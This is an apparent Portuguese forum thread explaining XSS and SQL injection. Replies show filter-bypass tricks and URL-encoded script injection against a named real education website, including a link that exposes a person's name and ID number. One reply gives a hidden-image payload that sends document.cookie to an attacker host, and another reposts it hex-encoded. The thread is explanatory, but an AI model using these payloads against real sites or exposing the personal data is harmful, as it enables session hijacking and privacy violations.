Ataques XSS e SQL injection

X

xuxaki

Power Member
Boas pessoal,
gostaria de saber como funcionam estes ataques, qual a falha de segurança propriamente dita.
"Eu sei como se faz" um ataque destes, basta ir ao youtube e ver... Mas não percebo muito bem como é que lá por trás aquilo funciona...

Alguém me sabe explicar? Para além de queres proteger o meu site estou a pensar em fazer um trabalho sobre isso.

Thanks
 
Última edição:
Sabes fazer e não percebes como funcionam?

UM SQL Injection é quando tu consegues inserir código que não é verificado numa form por exemplo, que por sua vez coloca o teu código no meio de outro select, gerando o que tu quiseres.

Um ataque XSS é quando tu consegues inserir código teu numa página de outra pessoa, e essa página executa o teu código, muito comum por exemplo é onde tu podes por exemplo injectar javascript numa variável GET no URL, e depois o servidor correr esse teu código.
 
Se não sabes como funciona, não sabes fazer. Quanto muito, copiaste quem fez :P

Numa situação mais "à frente", o XSS permite, em sites como hi5 ou Myspace, onde é possível alterar o dito "perfil público", executar scripts que roubem os cookies da pessoa que está de momento a ver o site. Tradução: cookies roubados, credenciais "clonadas" para aceder à conta dessa pessoa.

Se queres saber como isso trabalha por trás, precisas de saber onde está a falha, e para isso, sabes programar? PHP?
De modo geral, SQL Injection é quando consegues introduzir código SQL num query mal preparado no servidor e obter/modificar informações às quais não terias acesso de outra forma.
XSS (Cross-site scripting) é, entre outras coisas (há várias formas de ataque), quando consegues introduzir código Javascript numa página que por sua vez será aberta por um outro cliente, e esse script pode permitir ao atacante acesso a informações sobre esse cliente (geralmente, cookies, para "forjar" sessões).

Se estiveres interessado nisso, ocorre-me pelo menos mais uma falha para veres: XSRF (Cross-site request forgery) ;)
 
Última edição:
pois, eu não SEI, por isso disse "Eu sei como fazer" (entre aspas portanto) :P

Sei alguma coisa de php, e sei que é possível sacar o cookie através de um javascript por exemplo. Então posso por exemplo, ir a forum e criar um post com um script que envia o cookie da pessoa que clicar nele para mim. Mas como é que isso é permitido? Não é normal permitir executar código numa coisa como um forum ou um simples comment num site!
E na situação da variável GET, como funciona isso? Não temos acesso ao cookie de ninguém nem vai ficar nada na base de dados..
No hi5 é um pouco diferente porque permite editar o código da página...
 
Última edição:
E as aspas estavam lá quando eu dei a minha resposta? ;)

Quanto ao resto, é simples:
Normalmente, num fórum, é possível o utilizador introduzir TEXTO. Texto simples, plain text, tal como estou a escrever agora.
No entanto, também tem de ser possível o utilizador introduzir caracteres especiais como o "<" ou o ">", sem ele se ver obrigado a escrever &lt; ou &gt; ele mesmo. Senão, eu podia escrever "<b>assim</b>" e sem querer veria aquela palavra a bold.
Ou, pior, podia escrever <script>document.write("assim");</script> e a palavra iria surgir transparentemente do teu ponto de vista, mas algo mais aconteceu entretanto.

Há sites cuja segurança se baseia em proibir determinadas tags. Isto é, a tag <script> está bloqueada, e do lado do servidor, este bloqueio pode ser feito com um replace de "<script>" para "&lt;script&gt;". Até aqui tudo bem. No entanto, para lhe dar a volta, é só modificar aquilo de forma a permanecer válido em HTML mas deixar de ser reconhecido pelo parser. Por exemplo, acrescentando um (ou mais) espaços antes de fechar a tag - "<script >". Antes de fechar, depois de abrir, you name it.
Mesmo que se arranjem mil e uma formas de evitar estas tags, é possível que exista alguma que lhes tenha escapado. Aos olhos de um utilizador normal, este pode escrever "<script>" que não irá executar script nenhum.
O XSS mais avançado surge quando se consegue dar a volta a todas as formas de segurança de um fórum e introduzir na mesma um script. Mesmo com a segurança que o fórum já terá, um atacante simplesmente arranjou outra forma (e é de "outras formas" que vivem grande parte das vulnerabilidades) de fazer as coisas. Claro que ninguém no seu perfeito juízo deixa os utilizadores colocarem scripts para outros utilizadores verem, mas às vezes a segurança presente não chega para evitar que isso aconteça.
O caso hi5 foi bastante mais estúpido. O hi5 permitiu aos utilizadores colocarem os seus scripts para pôrem efeitos nas páginas. Claro está que não foram só efeitos que puseram...

No caso da variável GET é mais simples ainda:
http://www.example.com/scriptvulneravel.php?nome=Josefina%20Antonieta
a página mostra:
Código: 
Bem vindo/a, [B]Josefina Antonieta[/B]!

No entanto, é fácil de reparar que o que se encontra a bold é exactamente o que está no campo "nome". Então, brincando com esse campo, podemos fazer o nosso XSS:
http://www.example.com/scriptvulneravel.php?nome=Josefina %20Antonieta<script>alert("XSS!");</script>
Simples. Claro que muitos sites já aprenderam a filtrar também os dados do GET, mas outros tantos há que ainda não o tenham feito.

Um exemplo que encontrei aqui mesmo no Techzone: http://www.techzonept.com/showpost.php?p=1299757&postcount=455
O link aponta para isto: http://www.acessoensinosuperior.pt/...=SANDRA CURTE PILAS&BIC=12951007&CEC=1&EtC=17

No entanto, o campo "NmC" é livremente alterável: http://www.acessoensinosuperior.pt/...mC=OLHA QUEM ELE É!&BIC=12951007&CEC=1&EtC=17

Ou... http://www.acessoensinosuperior.pt/...</u></i></b></font>&BIC=12951007&CEC=1&EtC=17

E daí, porque não?... http://www.acessoensinosuperior.pt/...t("XSS!");</script>&BIC=12951007&CEC=1&EtC=17

Posso sempre dar a volta a um eventual parser desta forma: http://www.acessoensinosuperior.pt/coloc2004/col1det.asp?NmC=Qualquer%20coisa
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%21%22%29%3B%3C%2F%73%63%72%69%70%74%3E
&BIC=12951007&CEC=1&EtC=17

Já agora, para esclarecer, vê o BI que está nessa página e procura-o aqui para saberes o nome real do personagem :P


Se realmente queres aprender este tipo de coisas, aprende a manusear minimamente bem HTML e Javascript e a usar o PHP que acabas por perceber tu mesmo onde estão os problemas ;) Olha que eu nem sou mais que um simples entusiasta que um dia se interessou por isso tal como tu. A diferença é que eu sempre quis ter quem me ensinasse qualquer coisa :x

Só uma nota final: se achas que com o GET não tens cookies, http://www.acessoensinosuperior.pt/...t.cookie);</script>&BIC=12951007&CEC=1&EtC=17.
E quem faz um alert pode fazer muita coisa ;)
 
Última edição:
Que domínio :004:

Eu percebo alguma coisa de php, javascript, mas não são coisas com que trabalhe todos os dias ou frequentemente...

E desculpa :P mas ainda não vi como é que com um javascript no GET podes sacar alguma coisa de OUTRA PESSOA (que é disso que estamos aqui a falar). Para que conseguisses isso tinhas de enviar um link "envenenado" a uma vítima... O que não é uma forma discreta, pois ficas ligado ao acto (o que é contornável no caso do forum). certo? :wvsore:

De qualquer forma obrigadão ;)
 
xuxaki disse:
Para que conseguisses isso tinhas de enviar um link "envenenado" a uma vítima... O que não é uma forma discreta, pois ficas ligado ao acto (o que é contornável no caso do forum). certo? :wvsore:
Clicar para expandir...

E todos os dias há alguém que alegremente clica nesses links. Assim como há sempre alguém que atafulha o computador de vírus, manda inadvertidamente vírus aos amigos, instala malware... Há gente para tudo :-)
 
@ xuxaki,

E então? Imagina um e-mail que é enviado a uma vítima incauta com um link modificado e obfuscado para um site "fidedigno"? A pessoa só repara que o início diz "acessoensinosuperior.pt" e acredita que é fiável, ignorando o resto. Depois, um
Código: 
<script>document.write("<span style='display:none'><img src='http://sitedoinvasor.com/cookiesroubados.php?cookie=" + escape(document.cookie) + "' /></span>");</script>
dá conta do recado. A imagem em si não aparece (ou é escondida pelo CSS), e o dito PHP regista o cookie da pessoa que abriu esse link. Fica tudo transparente aos olhos da vítima.
Depois, é uma questão de reutilizar aquele cookie, e a sessão da vítima é clonada.

Isso só serve de algo quando a pessoa está "logged in" no site. Caso contrário, clonas uma sessão que não te vale de nada porque não tem dados "interessantes" :P
Não é nada discreto. Se envias o mail ficam alguns registos nos servidores por onde ele passa, e se colocas num post, fica bem registado QUEM é que fez o quê.

Há casos em que XSS é associado a SQL Injection, como aconteceu com o site da Microsoft em tempos (se não estou em erro), e aí é que é bem mais possível esconder as marcas, e o ataque passa a residir no próprio servidor, mas não sei bem o que aconteceu nesse caso.

O meu "domínio" não é nada por aí além. Eu simplesmente aprendi, tal como me parece que tu queres fazer, e baseio-me muito nas horas de pesquisa que passei em frente ao computador, quando ainda tinha tempo para isso :D
 
Última edição:
Pois, de facto esqueço-me que nem todos são como "nós"... Vê um link e clica logo, nem que ache muito estranho e que seja algo que não lhe diz nada...

De sql injection também encontrei este site a explicar bastante bem. XSS agradeço ao Kayvlim :)

Thanks ;)
 
Pegando num dos exemplos do Kayvlim:

Código: 
<script>document.write("<span style='display:none'><img src='http:/google.pt/cookiesroubados.php?cookie=" + escape(document.cookie) + "' /></span>");</script>

Código: 
%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%22%3C%73%70%61%6E%20%73%74%79%6C%65%3D%27%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%27%3E%3C%69%6D%67%20%73%72%63%3D%27%68%74%74%70%3A%2F%67%6F%6F%67%6C%65%2E%70%74%2F%63%6F%6F%6B%69%65%73%72%6F%75%62%61%64%6F%73%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%20%2B%20%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%20%2B%20%22%27%20%2F%3E%3C%2F%73%70%61%6E%3E%22%29%3B%3C%2F%73%63%72%69%70%74%3E

São ambos a mesma coisa, e como é escape ambos funcionam.
 
hostmake disse:
Pegando num dos exemplos do Kayvlim:

Código: 
<script>document.write("<span style='display:none'><img src='http:/google.pt/cookiesroubados.php?cookie=" + escape(document.cookie) + "' /></span>");</script>
Código: 
%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%22%3C%73%70%61%6E%20%73%74%79%6C%65%3D%27%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%27%3E%3C%69%6D%67%20%73%72%63%3D%27%68%74%74%70%3A%2F%67%6F%6F%67%6C%65%2E%70%74%2F%63%6F%6F%6B%69%65%73%72%6F%75%62%61%64%6F%73%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%20%2B%20%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%20%2B%20%22%27%20%2F%3E%3C%2F%73%70%61%6E%3E%22%29%3B%3C%2F%73%63%72%69%70%74%3E
São ambos a mesma coisa, e como é escape ambos funcionam.
Clicar para expandir...

Como geraste esse código de baixo? Transformar o código nisso.
 
O "método avançado" de XSS é o XSRF - Cross-Site Request Forgery

Basicamente, hoje em dia com o uso de "tabs" (ou mesmo com janelas diferentes, no caso do firefox) e com a partilha do contexto de cookies entre as tabs, os sites "malignos" não têem acesso directo às cookies dos outros sites. No entanto podem induzir o browser cliente a fazer pedidos assíncronos a outros sites (tipicamente fazem "post" a formulários "bem conhecidos"), pedidos esses que levam atrás a cookie respectiva, forjando assim o pedido como sendo em nome da pessoa que está a visitar o site.
 
Inicie sessão ou registe-se para poder participar.
Back
Topo